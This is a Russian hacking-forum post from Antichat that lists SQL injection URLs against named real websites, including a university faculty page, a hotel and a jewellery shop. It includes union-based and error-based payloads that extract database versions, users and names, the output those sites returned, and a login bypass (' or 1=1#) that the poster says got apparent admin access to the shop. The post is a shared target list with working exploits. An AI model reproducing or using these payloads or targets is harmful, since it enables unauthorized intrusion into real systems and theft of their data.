ANTICHAT - Показать сообщение отдельно - Уязвимости SQLi, XSS и другие.

Цитата:

Сообщение от nikonic

↑
Вкусности-приятности

Код:

http://www.phy.iitkgp.ernet.in/physics/home/faculty/home.php?id=1'+union+all+select+1,2,3,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+and+'0'='0

5.5.41-0

PR-5
Индусы

Код:

http://www.delreyhotel.com/travel.php?id=999999.9%20union%20all%20select%201,2,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17&ids=7

5.5.42-cll
PR-3

Код:

http://www.sendpoints.cn/newsDetail.php?id=999999.9%20union%20all%20select%201,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8,9,10,11,12

5.1.65

Код:

http://www.donaldsoneducation.com/store.php?catid=999999.9%20union%20all%20select%201,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4

5.0.96-log

PR-3

Код:

http://www.gunnars.com/product_grids.php?function=indoor'+and(sElEcT+1+fRoM(sElEcT+count(*),cOnCaT((sElEcT(sElEcT+cOnCaT(0x217e21,user(),0x217e21,version(),0x217e21,database()))+fRoM+information_schema.tAbLeS+lImIt+0,1),floor(rand(0)*2))x+fRoM+information_schema.tAbLeS+gRoUp+bY+x)a)+and+'1'='1

5.5.30
PR-5

Код:

http://www.pollackassociates.com/blog/blogbycategory_new.php?catid=(sElEcT+1+fRoM(sElEcT+count(*),cOnCaT((sElEcT(sElEcT+cOnCaT(0x217e21,version(),0x217e21))+fRoM+information_schema.tAbLeS+lImIt+0,1),floor(rand(0)*2))x+fRoM+information_schema.tAbLeS+gRoUp+bY+x)a)

5.5.30
PR-4

Код:

http://www.exboyfriendjewelry.com/listings.php?catid=3'+and(sElEcT+1+fRoM(sElEcT+count(*),cOnCaT((sElEcT(sElEcT+cOnCaT(0x217e21,user(),0x217e21,version(),0x217e21,database()))+fRoM+information_schema.tAbLeS+lImIt+0,1),floor(rand(0)*2))x+fRoM+information_schema.tAbLeS+gRoUp+bY+x)a)+and+'1'='1

Магазин ювелирных изделий
5.5.41-cll-lve

PR-3

В магазине ювелирных изделий(http://www.exboyfriendjewelry.com/index.php), в поле входа пользователей, вписал:

user name: ' or 1=1#

password: ' or 1=1 '#

Зашло под ником: Welcome back ExboyfriendJewelry! походу админ, но точно не знаю.